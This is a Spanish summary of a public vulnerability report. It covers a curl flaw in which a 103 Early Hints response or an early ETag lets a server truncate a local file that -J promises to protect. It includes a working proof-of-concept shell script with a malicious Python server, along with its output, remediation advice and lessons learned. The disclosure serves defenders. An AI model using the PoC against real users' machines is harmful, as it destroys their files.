Reports
BAJA[OTROS]#4023192

curl: un 103 Early Hints anula la protección de -J y deja al servidor sobrescribir un fichero local

Con curl -O -J -i, un servidor que manda un 103 Early Hints (o un ETag temprano bajo --etag-save) antes del Content-Disposition logra truncar un fichero local que -J promete no tocar.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

La opción -J (--remote-header-name) de curl deja que el servidor elija el nombre del fichero de salida a través de la cabecera Content-Disposition, pero con una garantía documentada: si ya existe un fichero local con ese nombre, curl no lo sobrescribe. El investigador encontró cómo saltarse esa garantía al combinar -O -J -i.

El problema está en el camino que muestra las cabeceras (-i). Mientras espera a conocer el nombre definitivo, curl retiene las cabeceras en un búfer, pero hay casos en los que abre el fichero de salida antes de tiempo:

  • al recibir una respuesta informativa 1xx como 103 Early Hints, o
  • al procesar una línea ETag bajo --etag-save que llega antes del Content-Disposition.

Esa apertura temprana usa el modo normal de truncado sobre el nombre derivado de la URL. Cuando por fin llega el Content-Disposition definitivo, curl ve que el flujo de salida ya está abierto y aborta. La apertura protegida (sin sobrescribir) nunca llega a ejecutarse, pero el fichero derivado de la URL ya ha quedado truncado. Si la URL es .../victim.txt y el servidor nombra victim.txt, ese es justo el fichero que -J promete proteger.

Es una variante posterior a CVE-2020-8177, que era de la misma familia (-J junto con -i sobrescribiendo cabeceras) y se corrigió en curl 7.71.0. Este caso llega al mismo estado inseguro a través del orden de las cabeceras en respuestas informativas y en --etag-save, después de que se añadiera el soporte para combinar -J con la visualización de cabeceras. El comportamiento contradice además el RFC 8297, que exige que las Early Hints no afecten al procesado de la respuesta final.

Pasos de reproducción

El investigador levanta un servidor que, en el modo de explotación, manda primero un 103 Early Hints y luego la respuesta final cuyo filename del Content-Disposition coincide con el nombre de la URL y con un fichero local ya existente. El control es el mismo servidor y el mismo fichero, pero sin el 103.

#!/bin/sh
set -e
MODE="$1"   # exploit (103 first) | control (no 103)
PORT="${VF_PORT:-18080}"
WORK="${VF_WORK:-/tmp/vf-j-noclob}"
mkdir -p "$WORK"; cd "$WORK"
printf 'ORIGINAL-VICTIM-CONTENT-DO-NOT-DELETE\n' > victim.txt

python3 -c "
import socket, time
mode = '$MODE'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', $PORT)); s.listen(1)
c, _ = s.accept()
c.recv(65536)
if mode == 'exploit':
    c.sendall(b'HTTP/1.1 103 Early Hints\r\n\r\n')
    time.sleep(0.1)
body = b'ATTACKER-CONTROLLED-BODY\n'
c.sendall(b'HTTP/1.1 200 OK\r\nContent-Disposition: attachment; filename=\"victim.txt\"\r\n'
          b'Content-Length: ' + str(len(body)).encode() + b'\r\n\r\n' + body)
" &
sleep 0.3

rc=0
curl -sS -O -J -i "http://127.0.0.1:$PORT/victim.txt" || rc=$?
wait
echo "mode=$MODE rc=$rc victim=[$(cat victim.txt)]"

Medido con una compilación local de curl 8.22.1-DEV; el mismo código relevante está presente en curl-8_22_0. El resultado de las dos ejecuciones:

mode=control rc=23 victim=[ORIGINAL-VICTIM-CONTENT-DO-NOT-DELETE]
mode=exploit rc=23 victim=[HTTP/1.1 103 Early Hints
]

Mismo nombre elegido por el servidor, mismo fichero preexistente, misma respuesta final: la única diferencia es que el 103 llega primero. En el control la garantía funciona (curl se niega a tocar victim.txt y sale con error). En la explotación la garantía queda anulada: el fichero se trunca y se reemplaza por texto de cabecera antes de que curl llegue siquiera a la comprobación que debía protegerlo.

Precondiciones: la herramienta de línea de comandos de curl invocada con -O -J -i, modo de sobrescritura por defecto, un servidor capaz de enviar una respuesta informativa o un ETag temprano antes de su Content-Disposition, y un fichero local preexistente con el nombre que el servidor elige.

Impacto

Un servidor contra el que un usuario ejecuta curl -O -J -i puede destruir un fichero local concreto que ya exista: elige un filename de Content-Disposition que coincida con el nombre de la URL (o con el nombre extraído del destino de una redirección cuando se usa -L) y lo precede de un 103 o de un ETag temprano. Con ello derrota una garantía que -J documenta de forma explícita, no solo la sobrescritura habitual de -O.

Remediación

La dirección propuesta por el investigador es retener la visualización de cabeceras igual que ya se retiene el análisis de Content-Disposition, mientras honor_cd_filename esté activo: almacenar en búfer las cabeceras mostradas de las respuestas informativas y la línea ETag de --etag-save hasta que la decisión del nombre sea definitiva, y abrir entonces exactamente una ruta con su modo de sobrescritura correcto. El análisis de las cabeceras que portan nombre debe seguir limitándose al bloque de respuesta 2xx/3xx aplicable, porque el RFC 8297 exige que las cabeceras de un 103 no afecten al procesado de la respuesta final.

Como mitigación inmediata, --no-clobber conserva el fichero original en ambos casos, aunque puede crear un hermano numerado como victim.txt.1 y la transferencia aún termina con error 23.

Este fallo tiene asignado CVE-2026-92390. Estado del reporte: Resolved. Enviado el 12 de septiembre de 2026 y divulgado el 14 de octubre de 2026.

Qué aprender de este caso

  • En clientes que eligen el nombre de salida a partir de cabeceras del servidor, revisa que el fichero no se abra nunca antes de conocer el nombre y el modo de apertura definitivos: aquí el orden fue "abrir con truncado y comprobar después", cuando debía ser al revés.
  • Las respuestas informativas 1xx (como 103 Early Hints) son un vector fácil de olvidar: cualquier rama de código que escriba o abra ficheros al procesar cabeceras debe ignorar las de un 1xx, tal como pide el RFC 8297, y actuar solo sobre la respuesta final 2xx/3xx.
  • Cuando arregles un fallo de sobrescritura por orden de cabeceras (como el CVE-2020-8177 original), comprueba todas las rutas que abren el fichero —aquí la visualización con -i y el guardado de ETag con --etag-save—, no solo la que disparó el primer informe; una garantía de "no sobrescribir" se rompe por el camino que se dejó sin cubrir.
  • Si usas curl -O -J en scripts contra servidores no confiables, añade --no-clobber para que un fichero existente sobreviva aunque la comprobación de -J se evada.